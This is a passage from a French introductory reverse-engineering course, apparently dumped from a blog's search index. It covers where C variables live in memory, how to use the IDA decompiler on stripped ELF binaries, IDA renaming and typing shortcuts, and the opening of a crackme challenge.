donc en mémoire) est différent :#include &lt;stdio.h&gt; struct MaStructure { int nb; // 4 octets char ch; // 1 octet unsigned int u_nb; // 4 octets unsigned char u_ch; // 1 octet}; struct MaStructure_bis { int nb; // 4 octets unsigned int u_nb; // 4 octets unsigned char u_ch;// 1 octet char ch; // 1 octet }; int main() { struct MaStructure ma_struct; ma_struct.nb = 0xdeadbeef; ma_struct.ch = 'a'; ma_struct.u_nb = 0xcafebabe; ma_struct.u_ch = 'b'; struct MaStructure_bis ma_struct_bis; ma_struct_bis.nb = 0xdeadbeef; ma_struct_bis.ch = 'a'; ma_struct_bis.u_nb = 0xcafebabe; ma_struct_bis.u_ch = 'b'; return 0; }En compilant le code, on s’aperçoit que ces deux structures sont agencées différemment en mémoire : Comme vous pouvez le constater dans l’exemple précédent, ce n’est pas l’initialisation des variables qui compte mais leur ordre dans la déclaration de la structure et de ses éléments.On aurait même pu ajouter 2 variables char dans ma_struct_bis, le résultat en mémoire aurait toujours été plus compact qu’avec ma_struct.Les pointeursC’est une notion qui généralement est compliquée à appréhender lorsque l’on commence le C. En reverse c’est plus simple car on voit directement comment fonctionne un pointeur en mémoire : il s’agit d’une adresse qui pointe vers des données situées quelque part en mémoire.Contrairement aux autre types de données, un pointeur a toujours la même taille : 32 bits (en x86) ou 64 bits (en x86_64, généralement en user land seuls 48 bits suffisent)Généralement on les reconnaît assez facilement car leurs octets de poids fort identifient une base (ou début de zone mémoire) en particulier, par exemple : les adresses 0x400010,0x41a010 et 0x40ff1f correspondent à des pointeurs vers une zone mémoire du programme mappé en mémoire ( cela peut être la partie data, code …) dont la base est `0x400000. les adresses 0x7ffdd050,0x7ffdddd0 ou 0x7ffdf004 correspondent à des adresses basses, qui pointent notamment vers la pile dont l’adresse de base ici est 0x7ffdd000 Selon l’OS et la version du programme (32/64 bits), les adresses de base de la pile, du code, des données etc. ne sont pas les mêmes. D’autant plus que les programmes sont désormais soumis à l’ASLR qui tend à rendre aléatoire certains octets (de poids fort) d’une adresse d’une exécution à une autre.Concernant leur agencement en mémoire, il n’y a pas de soucis en particulier car que ce soit 4 octets ou 8 octets, les pointeurs seront alignés avec le reste des données. Quid des chaînes de caractères ?Il existe plusieurs manières de déclarer des chaînes de caractères en C qui, au final, reviennent toutes à deux formes : un tableau de caractères. Exemple : char chaine[] = {'H', 'e', 'l', 'l', 'o', '\\0'}; un pointeur vers un tableau de caractères Exemple : char *chaine = malloc(taille_de_string); Les portées des variablesNous avons vu ci-dessus comment sont stockées les différents types de variables sur la pile lorsqu’elles sont déclarées de manière locale, c’est-à-dire au sein d’une fonction (sans le mot clé static).Toutefois, ce n’est pas la seule manière de déclarer une variable. Il est possible de déclarer des variables ayant différentes portées dans le code. Cela implique également une zone de stockage différente pour les variables selon leur déclaration et portée.Intéressons-nous aux portées suivantes : 🟡 les variables locales : déclarées au sein d’une fonction (sans le mot clé static) 🟢 les variables globales : déclarées en dehors de toute fonction et ayant une portée plus globale dans le code 🟢 les variables statiques : déclarées dans une fonction avec le mot clé static 🔵 les variables dynamiques : elles peuvent être déclarées à divers endroits mais leur affectation est le résultat d’une allocation dynamique (avec malloc et compagnie ou new en C++) 🟣 les variables constantes : ces variables sont déclarées avec le mot clé const🟡 Les variables localesA force de les avoir utilisées lors des divers exemples, on a pris l’habitude d’analyser ce type de variables. Bien que ces variables puissent avoir des types différents, elles ont toute un point commun : elles sont stockées dans la pile.Exempleint main(){\tint ma_var_locale = 10; // dans la pile\treturn 0;}🟢 Les variables globales et statiquesNous allons nous intéresser à ces deux manières de déclarer une variable en même temps car elles sont stockées de la même manière en mémoire.Nous allons distinguer deux cas : la variable n’est pas initialisée (ou initialisée à 0) : elle est stockée dans la section .bss la variable est initialisée à une valeur non nulle : elle est stockée dans la section .data.bss est .data sont deux sections du segments de données modifiable (RW). Leur point commun est qu’elles permettent de stocker des données qui peuvent être modifiées au cours de l’exécution.Leur principale différence est que .bss contient des variables initialisées à 0 lors de l’exécution du programme tandis que .data contient des variables qui sont initialisés à une valeur non nulle lors de l’exécution du programme.Exempleint global_var; // dans .bssint global_var_2 = 0; // dans .bssint global_non_nulle = 0x10; // dans .data int main() { \tstatic int stat ; // dans .bss\tstatic int stat_non_nulle = 213; // dans .data \treturn 0; }🟣 Les variables constantesLes variables déclarées avec le mot clé const ne doivent pas pouvoir être modifiées après leur déclaration.Ainsi, elles se retrouveront dans les données en lecture seule, plus précisément dans la section .rodata. Parfois, lorsque certaines variables ou valeurs sont constantes dans une fonction, le compilateur peut parfois les optimiser en les insérant leur valeur directement dans des instructions. Par exemple, si je crée un variable int x = 0x46; qui n’est jamais modifiée puis que je fais y = y + x;, l’instruction associée pourrait alors être : add eax, 0x46.Exemple#include &lt;stdio.h&gt; int main() { \t const char *message = \"Hello !\"; // dans .rodata\t printf(\"%s\\n\", message); \t return 0; }🔵 Les variables dynamiquesNous l’avons vu précédemment : les variables dynamiques sont des variables dont le contenu est alloué dynamiquement avec une fonction d’allocation (malloc, calloc, new …).Mais concrètement, qu’est-ce cela implique sur ces variables ? Tout d’abord ces variables vont être stockées dans le tas (ou heap). Encore une fois, le terme “tas” n’est pas à prendre au sens algorithmique mais plutôt dans le sens où il s’agit d’une zone mémoire qui regroupe un tas de variables.Je vous propose d’analyser un petit exemple pour comprendre de quoi il s’agit :#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; int main() { char *falestine = malloc(20); // Alloue de l'espace pour 20 caractères if (falestine == NULL ) { printf(\"Allocation de mémoire échouée.\\n\"); return -1; } strcpy(falestine, \"Toujours la !\"); free(falestine); // ;) return 0; }Comme son nom l’indique, les variables dynamiques sont … dynamiques ! (merci Sherlock 🕵️‍♂️). Ainsi nous n’allons pas pouvoir voir où elles sont stockées via une analyse statique.Comme pour la pile, le tas n’est mappé en mémoire que lors de l’exécution du programme. Bah on fait comment ?Je sais, je sais, je ne vous ai pas encore dit ni expliqué comment utiliser un debugger mais ça arrive 😅 ! En attendant, je vais vous montrer ce qui se passe lorsque l’on débogue le programme.Après compilation, lorsque l’on exécute le programme pas à pas jusqu’à arriver à l’appel de free : call free on obtient ceci :Dans le code, l’appel était le suivant free(falestine);. L’argument de free est donc ce qui doit être libéré … l’adresse de notre string. En l’occurrence il s’agit de l’adresse 0x5655a1a0.Dans un debugger, on peut lister les différents segments du processus en cours d’exécution :On constate qu’effectivement, l’adresse 0x5655a1a0 appartient à la heap et non aux autres segments mémoire. Il y a tellement à dire concernant le tas, notamment du fait que les données soient stockées en suivant divers mécanismes et agencements (métadonnées, listes, listes doublement chaînées …). En tant que reverser analysant du code, il n’y a pas de nécessité à comprendre en détail le fonctionnement de la heap. Cela est cependant très important lorsque l’on souhaite faire de la recherche de vulnérabilité, exploitation de binaires (pwn) …📋 SynthèseVoici une synthèse de la localisation des variables selon leur déclaration :" }, { "title": "Partie 14 - Le décompilateur - introduction (1/3)", "url": "/posts/introduction_au_reverse_partie_14/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-17 08:00:00 -0200", "snippet": "Le décompilateur - introduction (1/3)Chose promise, chose due 🤝 !J’ai choisi de ne pas parler du décompilateur jusqu’à présent car cela pourrait en décourager certains à apprendre l’assembleur. En ...", "content": "Le décompilateur - introduction (1/3)Chose promise, chose due 🤝 !J’ai choisi de ne pas parler du décompilateur jusqu’à présent car cela pourrait en décourager certains à apprendre l’assembleur. En effet, pour des programmes assez simples on arrive à avoir, rien qu’en décompilant le programme, pas mal d’informations sur celui-ci.A vrai dire, la différence entre un bon reverser et un reverser lambda est que le bon reverser sait mettre la main dans le cambouis (l’assembleur ou autre) si besoin est.Or, si on incite les personnes intéressées par le reverse à se baser seulement sur la décompilation d’un programme et sur ruer vers elle, ils vont s’y habituer et lorsqu’ils s’attaqueront à des programmes de plus en plus protégés (obfusqués) et que le décompilateur leur sera (presque) d’aucune aide, ils seront bloqués 😶.Mais il est vrai que c’est un outil incontournable dont on ne se passe guère lorsque l’on fait du reverse alors maintenant que l’assembleur ne vous fait plus peur 😎, nous pouvons en parler !Qu’est-ce qu’un décompilateur ?Tout d’abord donnons des détails concernant le décompilateur et ce qu’il permet de faire.Nous avons manipulé jusque-là pas mal de code assembleur issu du désassembleur dont le rôle est de prendre des octets bruts et le convertir en assembleur lisible par un humain.Le décompilateur, lui, se situe à un plus haut niveau. Il va prendre l’assembleur désassemblé et tenter de le convertir en (pseudo) code C. Mais comment fait le décompilateur pour retrouver le code C initial ?Tout d’abord le décompilateur ne permet pas de retrouver le même code que le code source original pour plusieurs raisons : les noms des variables locales sont perdus une grande partie des symboles est supprimée lorsque que programme est strippé (avec strip par exemple). Cela supprime les informations supplémentaires non nécessaires à l’exécution du programme, parmi elles : les noms des variables globales les noms des fonctions la forme des structures et des classes (C++) sont perdues certains motifs peuvent être décompilés de différentes manières. Par exemple, une boucle for devient souvent une boucle while. certaines optimisations du compilateur ne sont pas toujours prises en charge par le décompilateur (par exemple des divisions, modulos etc.)Néanmoins le décompilateur apporte une chose de plus que que le code désassemblé : la structure du code est bien plus compréhensible pour un humain.En fait, comme son nom l’indique, il permet de dé-compiler. Ainsi, s’il existe une méthodologie permettant de passer du code C à de l’assembleur (c’est la compilation), il est tout à fait naturel de penser qu’on devrait plus ou moins pouvoir faire le chemin inverse (c’est la décompilation).Exemple de décompilationJe vous propose de rouvrir le programme decimal_to_binaire dans IDA. Une fois que c’est le cas et que vous êtes dans l’onglet du code désassemblé IDA View allons dans la fonction main. Ensuite, appuyez sur la fameuse touche de décompilation : F5.Vous devriez avoir un nouvel onglet Pseudocode qui s’ouvre :Mais, c’est quasiment le code du main que celui de notre code source 🤩 :int main(int argc, char *argv[]) { if (argc != 2) { printf(\"Utilisation: %s &lt;nombre&gt;\\n\", argv[0]); return 1; } int nombre = atoi(argv[1]); printBin(nombre); return 0; } Astuce IDA : Parfois, au lieu d’afficher une chaîne de caractères, IDA affiche un offset en mémoire plutôt que la string directement. Pour y remédier, aller dans Edit➡️ Plugins ➡️ Hex-Rays Decompiler ➡️ Options ➡️ Analysis options 1 et décocher Print only constant string literals. Astuce IDA : Il est souvent intéressant d’avoir les deux onglets désassembleur / décompilateur sur la même vue. Vous pouvez faire cela en déplaçant l’un des deux onglets. Vous pouvez ensuite synchroniser les deux vues en faisant un clic droit dans la fenêtre de décompilation et en cliquant sur Synchronize with &gt; IDA View. De cette manière, lorsque vous cliquerez sur un ligne ou que vous changerez de fonction, IDA affichera la ligne adéquate dans la fenêtre de désassemblage.On remarque que la variable nombre devient v4. Cependant le nom de la fonction printBin est présent car le programme n’est pas strippé. Trop facile ! Et si on regardait ce qui se passe dans un programme strippé ?Analyse d’un programme strippéJe vous invite à copier le programme decimal_to_binaire en decimal_to_binaire_strip puis exécuter la commande strip decimal_to_binaire_strip. Ensuite, ouvrez ce nouveau programme strippé dans IDA.Ensuite allez dans la fonction main. Euh, mais je ne vois pas où elle est ? Elle a disparu !Ah je vous avais prévenu, tous les symboles (noms de fonctions, noms de variables globales …) sont supprimés car il n’y en a pas réellement besoin pour exécuter le programme. Lorsque le processeur exécute une fonction à l’adresse 0x401020, qu’elle ait un nom ou pas, cela ne l’intéresse pas. Très souvent, les programmes que vous allez analyser seront strippés car cela permet d’alléger le programme mais aussi de rendre plus difficile l’analyse de ce dernier si le code n’est pas open source par exemple.Bon allez, je ne vous laisse pas poiroter plus longtemps et vous explique comment faire pour trouver le main dans un programme ELF.Il faut savoir que l’exécution du main d’un programme ELF développé en C s’effectue en 3 étapes : Exécution de la fonction start. Le nom de cette fonction est toujours présent car le format ELF pointe vers le point d’entrée du programme qui n’est autre que cette fonction start. Appel à la fonction __libc_start_main : il s’agit d’une fonction de la libc permettant de lancer correctement la fonction main. Appel de la fonction mainMais comment trouver la fonction main ? Tout d’abord, selon le man de la fonction __libc_start_main, son premier argument est justement l’adresse de la fonction main.Dans IDA, en allant dans la fonction start puis en décompilant (F5) cette fonction on obtient ceci : Astuce IDA : Pour désactiver (ou réactiver) le cast des variables, c’est le raccourcis Alt Gr + \\. Cela permet d’avoir du code plus lisible. Mais attention, parfois les casts donnent des informations importantes, notamment lorsque l’on souhaite reprogrammer un algorithme en C, Python ou autre, il est nécessaire de faire attention à la taille des variables.On constate que le premier argument de __libc_start_main est sub_127d. Nous avons déjà vu cette nomenclature auparavant sous la forme sub_OFFSET où OFFSET est l’offset de la fonction dans la section .text. En fait, c’est tout simplement la nomenclature qu’IDA utilise lorsqu’il n’a pas le symbole (nom) de la fonction.En l’occurrence, il s’agit de notre fonction main !Le binaire étant strippé, le nom de la fonction printBin n’est plus présent. Bah pourquoi on voit toujours certaines fonctions comme atoi, printf etc. ?En fait il s’agit de fonctions externes qui ont été importées dans le code. D’ailleurs, si vous allez dans l’onglet Imports vous trouverez la liste de toutes les fonctions importées par le programme. Or comme il n’est pas possible de connaître à l’avance les adresses où seront chargées en mémoire ces fonctions, on s’y réfère par leur nom.Comment faire du reverse en analyse statique ?Très souvent on est amené à faire le reverse d’un programme dont il manque pas mal d’informations. Il est donc nécessaire d’avoir une stratégie globale pour avancer petit à petit. Les étapes de reverse décrites ci-dessous sont en grande partie subjectives. Cela signifie qu’il ne s’agit pas forcément de la meilleure manière de faire de l’analyse statique.Comme le reverse peut concerner divers domaines (malwares, recherche de vulnérabilités, crackmes …) nous allons rester dans le contexte de résolution de crackmes pour le moment. Peut-être aurons l’occasion de parler de reverse de malwares un jour, si Dieu le veut.Analyse préliminaireTout d’abord, avant d’ouvrir un programme dans IDA comme un gros bourrin, il est judicieux de consacrer un peu de temps à une analyse préliminaire d’un programme.Cette analyse devrait permettre de répondre notamment à ces questions : Pour quel OS est compilé ce programme ? Est-ce un ELF ? PE ? Mach-O ? Exemple d’outils : la commande file Quelle est l’architecture supportée ? x86 ? x86_64 ? MIPS ? ARM ? … Exemple d’outils : la commande file Quel est globalement le but du programme ? Comment a-t-il été conçu ? Exemple d’outils : les commandes strings et strings -el pour afficher les strings ASCII et UTF-16 du programme. Les chaînes de caractères permettent d’avoir pas mal d’informations sur un programme. Par exemple : les bibliothèques externes utilisées, leurs versions, les strings de réussite ou d’échec … Il est également possible de l’exécuter pour voir ce que le programme prend en entrée (saisie clavier ? fichier ? argument en ligne de commande ?) La taille du fichier permet aussi d’avoir une idée de son contenu : s’il a une taille de plusieurs Mo, il peut s’agir d’un gros programme qui prendra pas mal de temps à être analysé ou bien d’un petit programme mais qui importe pas mal de bibliothèque en statique. Une bonne pratique avant d’exécuter un programme (principalement sous Windows) est de vérifier que le programme à étudier n’est pas malveillant, par exemple sur Virus Total (sauf si évidemment votre but est d’analyser un malware dans une sandbox).🔎 Analyse avec un décompilateurUne fois que l’on a une idée globale de ce que fait un programme, nous pouvons aller plus loin. Généralement en reverse ce que l’on veut c’est augmenter sa compréhension du code en moins de temps possible. Ainsi, on ne va pas aller dans la fonction main et lire les instructions assembleur une à une et modéliser la pile sur une feuille de brouillon. Ce que l’on veut c’est avoir rapidement une idée du flux d’exécution du programme en lisant le programme en diagonale. Lorsque l’on débute dans le reverse il est tout à fait normal et même recommandé de comprendre ce que font les instructions une à une et c’est ce que l’on fait depuis le début de ce cours. Mais vous vous doutez que lorsque vous serez très à l’aise avec l’assembleur, une simple lecture en diagonale du graphe de la fonction vous permettra d’avoir une idée globale de son fonctionnement 😎. Le graphe des blocs d’assembleur d’une fonction est très souvent appelé CFG (Control Flow Graph ou Graphe de flux de contrôle).Pour aller vite, il n’y a pas 36 000 solutions, il nous faut les outils adaptés, en particulier un : le ✨décompilateur✨ ! On ne va pas se mentir, lire de l’assembleur ça va 2 minutes !Le fait d’utiliser un décompilateur va donc nous permettre de nous rapprocher le plus possible d’une analyse de code et ça, c’est plus facile pour un humain. Mais du coup ça ne sert à rien d’apprendre le reverse, l’assembleur etc. s’il suffit d’avoir les bons outils ?Tout d’abord il faut savoir que l’utilisation d’un décompilateur reste dans le domaine du reverse. En effet, pour plusieurs raisons susmentionnées, nous n’aurons pas le même code que celui qui a été compilé, il va notamment falloir (en supposant que le programme est strippé): Renommer les variables locales Retrouver le bon type de chaque variable (parce que bon dire que ce sont tous des int 🫣 … ) Renommer les fonctions Retrouver le type des fonctions (de leur valeur de retour) Retrouver le bon nombre d’argument d’une fonction Reconstituer les structures qui sont souvent décompilées en tant que tableaux Ajouter des commentaires pour faciliter la compréhension du code Encore fois, la liste précédente n’est pas parfaite mais il s’agit d’une proposition de méthodologie lorsque l’on fait du reverse à partir du code décompilé.Une fois que ces différentes étapes sont réalisées, on a quasiment terminé la partie d’analyse statique. Il ne restera plus qu’à confirmer, si besoin, certaines hypothèses formulées lors de l’analyse statique en utilisant l’analyse dynamique. Lorsque cela est fait, on a généralement une bonne compréhension du programme analysé. Cela fait partie du job du reverser de savoir quand s’arrêter dans l’analyse statique: ce n’est pas parce que l’on a pas renommé et analysé toutes les fonctions du programme que l’on ne comprend pas comment il fonctionne. Par exemple dans un malware qui implémente sa propre bibliothèque réseau, il n’est peut être pas nécessaire de passer du temps à reverser le parseur de la couche IP ou TCP … Ainsi, en fonction de l’objectif du reverse (forensic, recherche de vulnérabilité, crackmes, analyse de malware …) il va falloir définir un cadre et des objectifs à atteindre.Bien sûr ce n’est pas toujours aussi facile que ça car les programmes sensibles sont de plus en plus obfusqués par des techniques qui permettent de freiner l’analyser statique et/ou dynamique. Il faudra donc savoir plonger dans l’assembleur afin de le désobfusquer, par exemple, à l’aide de scripts.Finalement ce n’est pas si mal le fait de s’être mis à l’assembleur. Voulez-vous que je vous donne une raison supplémentaire d’apprendre l’assembleur même si le décompilateur facilite le travail ? Eh bien l’exécution dynamique qui se fait sur un programme (en le déboguant par exemple) se fait sur l’assembleur et non pas sur le code compilé.Ainsi, une personne ne sachant pas comment sont gérées les variables locales et les arguments ne trouvera pas facilement où sont stockées les variables utilisées par le programme." }, { "title": "Partie 15 - Le décompilateur - les principaux raccourcis et fonctionnalités (2/3)", "url": "/posts/introduction_au_reverse_partie_15/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-16 08:00:00 -0200", "snippet": "Le décompilateur : les principaux raccourcis et fonctionnalitésAvant de vous partager un petit challenge de reverse, je vous propose de voir ensemble les principaux raccourcis et fonctionnalités qu...", "content": "Le décompilateur : les principaux raccourcis et fonctionnalitésAvant de vous partager un petit challenge de reverse, je vous propose de voir ensemble les principaux raccourcis et fonctionnalités que l’on peut utiliser dans le décompilateur d’IDA. Il ne va pas être possible de maîtriser lors de ce petit cours toutes les fonctionnalités d’IDA mais au moins d’être capable de modifier au mieux une fonction décompilée pour en comprendre le fonctionnement. Si vous ne vous souvenez plus de l’utilité et du fonctionnement des différents onglets dans IDA, n’hésitez pas à vous rafraîchir la mémoire dans le chapitre “Analyse statique d’un mini-programme : introduction”.Le programme utiliséVoici le programme de test que je vous propose d’utiliser :#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; // Enum pour les opérations enum Operations { ENCRYPT, DECRYPT, INVALID_1, INVALID_2, INVALID_3 }; // Structure pour stocker les données à chiffrer struct Data { int value; char name[20]; }; // Fonction de chiffrement void encryptData(struct Data *data) { data-&gt;value *= 2; printf(\"Données chiffrées : value = %d, name = %s\\n\", data-&gt;value, data-&gt;name); } // Fonction de déchiffrement void decryptData(struct Data *data) { data-&gt;value /= 2; printf(\"Données déchiffrées : value = %d, name = %s\\n\", data-&gt;value, data-&gt;name); } // Fonction principale int main(int argc, char **argv) { struct Data myData = {10, \"Secret\"}; enum Operations operation = atoi(argv[1]) % 5; switch (operation) { case ENCRYPT: encryptData(&amp;myData); break; case DECRYPT: decryptData(&amp;myData); break; case INVALID_1: puts(\"Ce cas est invalide !\"); break; case INVALID_2: puts(\"Ce cas est aussi invalide !\"); break; case INVALID_3: puts(\"Encore invalide !\"); break; default: printf(\"Opération invalide !\\n\"); break; } return 0; }Le programme est assez débile, généré évidemment par sheikh GPT 🤖, mais contient assez d’éléments pour voir quelques raccourcis que l’on utilise très souvent sous IDA.Pour le compiler, comme d’hab gcc -m32 -fno-pie -fno-stack-protector main.c -o cipher. Je vous conseille de faire une copie du programme nommée cipher_strip afin de stripper le programme avec strip. Enfin, ouvrez le programme cipher_strip.Si vous souhaitez avoir la même version du programme que celle du cours, vous pouvez la télécharger ici : cipher_strip.🔬 L’analyse🔎 Trouver le mainComme le programme est strippé, il va falloir trouver quelle fonction correspond au main. Normalement, en allant dans start et en décompilant la fonction, vous devriez trouver la fonction main. Nous avons fait cela au précédent chapitre.Du travail encore du travail …Voici à quoi elle ressemble (il peut y avoir des différences en fonction du compilateur et options de compilations que vous avez utilisées) :Pas besoin d’être un génie du reverse pour s’y retrouver par rapport au code source utilisé en constatant tout de même quelques différences : les noms des fonctions internes ont disparu les noms des variables sont perdus la forme de notre structure semble inexistante char **argv est devenu … un int ! Je vous ai dit qu’IDA fait parfois d’énormes raccourcis, même Google Maps aurait pas osé …🔠 Renommage des fonctions et variablesLes fonctionsTout d’abord commençons par renommer les fonctions vu que l’on sait à quoi elle correspondent. Commençons par renommer sub_122B en main Astuce IDA : Vous pouvez utiliser le raccourcis N pour renommer une fonction ou une variable en ayant préalablement cliqué dessus avant de la renommer.Vous devriez avoir quelque chose comme : Je ne sais pas pourquoi mais parfois, même après avoir modifié le nom d’une fonction, IDA lui redonne le nom initial. Cela peut arriver lorsque l’on quitte la fonction puis que l’on revient dessus. Il suffit de relancer la décompilation avec F5 pour que le changement soit affiché.Vous pouvez également renommer les deux premières fonctions du switch en respectivement f_encryptData et f_decryptData. Personnellement j’aime bien renommer les fonctions décompilées du programme en les préfixant avec f_. Cela permet ensuite de retrouver plus facilement celles qui ont été renommées par rapport à celles qui étaient déjà bien nommées. Ce n’est pas une convention stricte, d’autres utilisent le préfixe mw_ lorsqu’ils reverse des fonctions d’un malware, vous avez le choix ! L’idée est simplement de s’y retrouver et facilement distinguer ce qui a été modifié ou non.Les variables Astuce IDA : Les variables nommées v1, v2 etc. correspondent à des variables locales d’une fonction tandis que les variables a1, a2 etc. correspondent aux arguments de la fonction.Normalement, toutes les fonctions appelées par le main ont été renommées, on peut alors s’attaquer aux variables.Le raccourcis pour modifier le nom d’une variable est le même que pour celui d’une fonction : N. Vous ne pouvez pas donner le même nom de variable à deux variables différentes dans une même fonction mais IDA vous propose alors d’ajouter un suffixe automatiquement pour les distinguer. J’ai voulu renommer les variables a1 et a2 en argc et argv mais IDA l’a déjà fait, comment 🤯 ?En fait, lorsque l’on a renommé la fonction sub_122B en main, IDA s’est rattrapé et a corrigé la signature de la fonction qui devient alors : int __cdecl main(int argc, const char **argv, const char **envp), tant mieux ! Mais il nous reste du boulot avec les variables locales restantes.On peut d’ores et déjà renommer la variable v4 appelée via f_encryptData(&amp;v4) qui correspond à myData. Le soucis est que, même après renommage, myData n’a pas le bon type comme vous pouvez le constater :Pour rappel notre structure de base était :struct Data { int value; char name[20]; };Or IDA considère notre structure de 24 octets en plusieurs variables. Il va donc falloir modifier le type de la variable. Astuce IDA : Pour modifier le type d’une fonction ou d’une variable, il suffit de cliquer dessus et d’appuyer sur Y. Je ne sais pas si cela a été patché depuis mais modifier le nom d’une variable avec Y en même temps que le type ne fonctionne pas et n’aura aucun effet sur le nom de la variable. Il faut donc modifier le type de la variable dans un premier temps puis modifier son nom dans un second temps 😴.La création de structureAvant de pouvoir modifier le type de la variable myData, il est nécessaire de créer la structure idoine. Pour y parvenir, deux choix s’offrent à vous : utiliser l’onglet Structures (View➡️ Open subviews ➡️Structures) utiliser l’onglet Local types (View➡️ Open subviews ➡️Local types)Personnellement je trouve l’onglet Local types bien plus facile à manipuler : on peut directement entrer la structure au format C. Dans Structures nous pouvons soit utiliser des structures existantes (peut être très utile !) soit en créer mais il faut bien gérer tous les offsets de la structure.Je vous proposer de le faire avec Local types. En allant dans cet onglet, utilisez le raccourcis Inser pour copier / coller notre structure comme ceci :Lorsque l’on appuie sur Ok, on voit bien que notre structure a été ajoutée dans l’onglet. On peut alors retourner dans l’onglet de décompilation Pseudocode-A. Cliquez sur myData puis Y pour modifier son type en struct Data myData puis confirmez. IDA nous affiche alors ce message :Cela peut faire peur mais IDA veut simplement souligner que le nouveau type de myData (struct Data) est plus grand en termes de taille que l’ancien type int, ainsi, cela risque d’écraser les variables qui la suivent immédiatement.En ce qui nous concerne, comme notre structure myData a bien été stockée en tant que variable locale, vous pouvez cliquer sur Set the type.Toutefois, de manière générale, lorsque vous verrez ce message posez-vous la question suivante : est-ce qu’il s’agit d’une structure stockée en tant que variable locale dans la pile ou est-ce finalement un pointeur vers une structure stockée ailleurs ?Généralement, la réponse est affirmative à la seconde question car on a tendance à utiliser les structures avec des pointeurs vers les structures lorsque l’on les manipule.A ce stade, en termes de renommage, il ne nous reste plus qu’à renommer la dernière variable non renommée : la valeur de retour de atoi qui est operation. Mais pourquoi on a les deux fonctions strcpy et memset dans le code décompilé alors que l’on a jamais appelé ces fonctions dans le code source ?Bien vu Watson ! Vous remarquerez que ces le nom de ces fonctions est en bleu contrairement aux autres fonctions de la libc qui est en rose. De plus, en double cliquant dessus, aucune fenêtre vers ces fonctions ne s’ouvre …En fait, il s’agit tout simplement de la façon dont IDA voit le stockage de cette string :struct Data myData = {10, \"Secret\"};// ^^^^^^IDA a traduit les instructions assembleur qui correspondent au chargement de \"Secret\" sur la pile comme si strcpy était appelée puis memset pour mettre à 0 le reste. C’est assez cool car cela permet de comprendre facilement en C via le code décompilé ce qu’il se passe en assembleur.La gestion des énumérationsA ce stade vous devriez avoir quelque chose proche de ceci :Pour faciliter la compréhension du code, que diriez-vous de remplacer les case 0, case 1 etc. par des enums ?Là encore vous avez deux choix possibles : utiliser l’onglet Enums (View➡️ Open subviews ➡️Enumerations) utiliser l’onglet Local types (View➡️ Open subviews ➡️Local types)Pour les mêmes raison que précédemment, je préfère utiliser l’onglet Local types pour pouvoir copier/coller le code de l’enum sans devoir ajouter les différentes valeurs de l’énumération une à une ni me casser la tête.Comme tout-à-l’heure, aller dans Local types, saisir le raccourcis Inser et copier/coller l’enum puis valider :L’énumération est créée, on peut retourner à notre fonction main.Cliquez sur le chiffre 0 dans case 0 puis appuyer sur M. Astuce IDA : Le raccourcis permettant d’assigner à des constantes des énumérations est M.Ensuite sélectionnez l’enum que l’on vient d’ajouter :En confirmant, le tour est joué et on a le résultat attendu :Les commentairesOn aurait pu tout simplement s’arrêter là en ce qui concerne l’analyse statique de cette fonction : elle est assez courte et maintenant que les variables et fonctions sont renommées, on sait exactement ce qu’elle fait.Toutefois, cela nous permettra de voir les raccourcis permettant d’insérer un commentaire et les différents types de commentaires utilisables.Tout d’abord, commençons par les commentaires en fin d’instruction. Astuce IDA : Il est possible de mettre un commentaire sur la même ligne que l’instruction sélectionnée dans la fenêtre de décompilation avec le raccourcis /. Dans la fenêtre du code désassemblé, cela est possible avec : ou ;.Exemple (code décompilé) :Exemple (code désassemblé) :Il est également possible de mettre des commentaires avant l’instruction. Astuce IDA : Vous pouvez utiliser le raccourcis Inser pour saisir un commentaire avant l’instruction sélectionnée. Astuce IDA : En utilisant la touche Entrée, vous pouvez ajouter des sauts de lignes, pratique lorsque l’on souhaite espacer le code. J’ai essayé de sauter des lignes mais j’arrive plus à les supprimer !En fait les sauts de lignes sont simplement des commentaires précédent une instruction mais qui ne sont constitués que de sauts de lignes. Vous pouvez donc modifier le commentaire pour supprimer les sauts de lignes ajoutés.Exemple :✨ Résultat finalEt si on comparait le programme avant et après reverse ?Vous voyez la différence ? Lorsque tout est bien renommé et mis à sa place, la compréhension de la fonction coule de (code) source 😊. On comprend alors plus aisément pourquoi le renommage de fonctions, de variables, l’écriture de commentaires etc. sont importants en analyse statique : cela simplifie et fluidifie la compréhension du code.Bon, on va pas se mentir, on avait le code source avec nous c’était assez facile 😆 ! Mais sans code source, aurions-nous réussi le reverse aussi facilement 😢 ?On a même pas eu besoin de lire de l’assembleur grâce à la décompilation. De toute façon, une fois que l’on goûte à la décompilation, difficile d’y résister 🥰!D’autres outils de décompilationPour rappel, on a choisi d’utiliser IDA car désormais, il est possible d’utiliser le décompilateur dans la version Freeware et il est plus ergonomique. M’enfin, ce n’est que mon humble avis 😊.Evidemment, comme certains pourraient ne pas être d’accord et voudraient utiliser d’autres outils, en voici quelques-uns : 🐉 Ghidra : Initialement développé par la NSA et devenu open source. Très pratique pour le reverse d’architecture différentes de x86 (même s’il fait le travail). Pour reverser des programmes Windows, il semble être moins adapté … Quant à son UI, soit on aime soit on aime pas 😅. 🥷 Binary Ninja : Outil développé plus récemment et qui est payant. Une version gratuite sur le cloud est cependant proposée. ⏪ Cutter : Outil open source basé sur Rizin.Encore une fois, l’idée n’est pas de se focaliser que sur un seul outil mais de connaître les forces et faiblesses de chacun de ces outils pour savoir quand les utiliser à bon escient.📋 RésuméPour résumer, voici les principaux points évoqués (sans être exhaustif) : Il est nécessaire d’adopter une méthodologie et une stratégie d’analyse pour reverser un programme : il n’est souvent pas nécessaire ni pertinent d’analyser toutes les fonctions d’un programme en profondeur Connaître sur les bout des doigts les principaux raccourcis d’IDA permet d’avancer bien plus vite Du code décompilé dont les variables et fonctions appelées sont renommées est bien plus lisible et plus facilement compréhensible On passe pas mal de temps à renommer, renommer et renommer" }, { "title": "Partie 16 - Le décompilateur - le challenge (3/3)", "url": "/posts/introduction_au_reverse_partie_16/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-15 08:00:00 -0200", "snippet": "Le décompilateur : le challenge (crackme) (3/3)ℹ️ Le challengeNous y voilà ! Afin de nous familiariser avec IDA, quoi de mieux qu’un bon petit challenge !Ce challenge est un crackme, il faudra donc...", "content": "Le décompilateur : le challenge (crackme) (3/3)ℹ️ Le challengeNous y voilà ! 